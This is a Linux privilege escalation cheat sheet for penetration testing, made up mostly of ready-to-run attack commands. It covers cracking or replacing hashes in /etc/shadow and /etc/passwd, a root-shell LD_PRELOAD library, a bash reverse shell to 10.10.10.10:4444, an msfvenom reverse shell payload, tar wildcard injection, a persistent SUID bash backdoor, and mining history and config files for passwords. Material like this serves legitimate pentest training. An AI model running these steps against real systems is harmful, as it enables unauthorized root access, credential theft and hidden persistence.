🧙‍♂️ Linux Privilege Escalation - Complete Guide

> 📚 Comprehensive guide to Linux privilege escalation techniques for penetration testing and security research

---

📋 Table of Contents

🔐 File Permissions

- Readable /etc/shadow
- Writable /etc/passwd
- Sudoers File Access

⚡ Sudo Exploits

- Shell Escape Sequences
- Environment Variables
- SUID Environment

⏰ Cron Jobs

- File Permissions
- PATH Variables
- Wildcards

🛠️ System Services

- SSH Keys
- SUID/SGID
- MySQL Service
- NFS Exploitation

🔍 Password Mining

- History Files
- Config Files

🔓 Weak File Permissions

Readable /etc/shadow

When the `/etc/shadow` file has weak read permissions, attackers can extract password hashes and attempt to crack them offline.

🎯 Method 1: Hash Extraction & Cracking

Step 1: Check file permissions

```
ls -l /etc/shadow
```

Step 2: Extract password hashes

```
cat /etc/shadow
```

Step 3: Crack the hashes

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

🎯 Method 2: Direct Password Replacement

Step 1: Check permissions

```
ls -l /etc/shadow
```

Step 2: Generate new password hash

```
mkpasswd -m sha-512 newpasswordhere
```

Step 3: Replace the existing hash in `/etc/shadow`

Writable /etc/passwd

If `/etc/passwd` is writable, you can directly modify user entries or add new privileged accounts.

🔑 Password Hash Injection

Step 1: Check file permissions

```
ls -l /etc/passwd
```

Step 2: Generate password hash

```
openssl passwd newpasswordhere
```

Step 3: Replace 'x' in root entry with generated hash

Sudoers File Access

📖 Reading Sudo Permissions

```
cat /etc/sudoers
```

> ⓘ **What to look for User privileges, NOPASSWD entries, and command restrictions that can be bypassed**

> ⚠ **Write Access If writable, you can grant yourself unrestricted sudo access**

Sudo Exploits

Shell Escape Sequences

🌐 GTFOBins Exploitation

Step 1: Check sudo permissions

```
sudo -l
```

Step 2: Visit https://gtfobins.github.io/

Step 3: Search for the allowed binary

Step 4: Follow the sudo escalation technique

✓ **GTFOBins Comprehensive database of Unix binaries that can be exploited for privilege escalation**

Environment Variables

🔧 LD_PRELOAD Method

Step 1: Create malicious C library

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init(){
    unsetenv("LD_PRELOAD");
    system("/bin/bash");
}
```

Step 2: Compile the library

```
gcc -fPIC -shared -nostartfiles -o file.o file.c
```

Step 3: Execute with LD_PRELOAD

```
sudo LD_PRELOAD=/home/user/file.o vim
```

📚 LD_LIBRARY_PATH Method

Step 1: Check library dependencies

```
ldd /usr/sbin/apache2
```

Step 2: Create malicious library

```
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
```

Step 3: Execute with modified library path

```
sudo LD_LIBRARY_PATH=/tmp apache2
```

⏰ Cron Jobs Exploitation

Cron File Permissions

📝 Writable Cron Script

Step 1: Check crontab entries

```
cat /etc/crontab
```

Step 2: Locate script and check permissions

```
locate overwrite.sh
ls -l /usr/local/bin/overwrite.sh
```

Step 3: Replace with reverse shell script

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
```

Step 4: Start netcat listener

```
nc -nvlp 4444
```

> ⚠ **Alternative Detection If `/etc/crontab` is not readable, use pspy to monitor processes and identify cronjobs by timing**

Cron PATH Variables

🏞 PATH Hijacking

Step 1: Analyze crontab PATH

```
cat /etc/crontab
```

Step 2: Create malicious script in user directory

```
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
```

Step 3: Make executable

```
chmod +x /home/user/overwrite.sh
```

Step 4: Use backdoor

```
/tmp/rootbash -p
```

✓ **Persistence This creates a persistent backdoor since cronjob runs periodically**

Cron Wildcards

⚠ **Vulnerability Occurs when tar command in cronjobs lacks proper argument termination ('--')**

📦 Tar Checkpoint Exploitation

Step 1: Analyze vulnerable script

```
cat /usr/local/bin/compress.sh
```

Step 2: Generate reverse shell payload

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o
shell.elf
```

Step 3: Make executable

```
chmod +x /home/user/shell.elf
```

Step 4: Create checkpoint files

```
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
```

ⓘ **How it works Tar interprets filenames starting with '--' as command-line arguments, allowing injection of checkpoint actions**

🔑 Passwords & Keys

SSH Keys

🔐 Root Key Discovery

```
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@<ip>
```

ⓘ **Key Locations Check `/home/*/.ssh/`, `/root/.ssh/`, and common backup locations**

History Files

📜 Command History Mining

```
cat ~/.*history | less
```

Search for accidentally typed passwords in command history

⚠ **Common Mistake Users sometimes type passwords in wrong fields or after failed login attempts**

Config Files

📄 Plain Text Password Discovery

```
find /home -name "*.txt" -o -name "*.conf" -o -name "*.config" 2>/dev/null |
xargs grep -l "password" 2>/dev/null
```

Search for configuration files containing plain text passwords

---

🔒 SUID/SGID Exploits

SUID/SGID Discovery

🔍 Finding SUID/SGID Binaries

```
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>
/dev/null
```

```
find / -type f -user root -perm -4000 2>/dev/null
```

✓ **Second command More focused - shows only root-owned SUID files**

ⓘ **Next Steps Check found binaries against GTFOBins database for known exploits**

SUID Environment

🏞️ PATH Hijacking

Step 1: Examine SUID binary

```
/usr/local/bin/suid-env
strings /usr/local/bin/suid-env
```

Step 2: Look for service calls without full paths

Step 3: Create malicious service binary

```
gcc -o service /home/user/tools/suid/service.c
```

Step 4: Execute with modified PATH

```
PATH=.:$PATH /usr/local/bin/suid-env
```

> ⚠ **Vulnerability Binary uses relative path 'service' instead of absolute path '/usr/sbin/service'**

📚 Additional Resources

- 🌐 GTFOBins
- 📖 HackTricks
- 🔧 PayloadsAllTheThings
- 🛡️ PEAS - Privilege Escalation Awesome Scripts

⚠️ Legal Disclaimer

> ⚡ **Ethical Use Only This guide is for educational purposes and authorized penetration testing only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.**

Tags: #pentesting #privesc #linux #security #redteam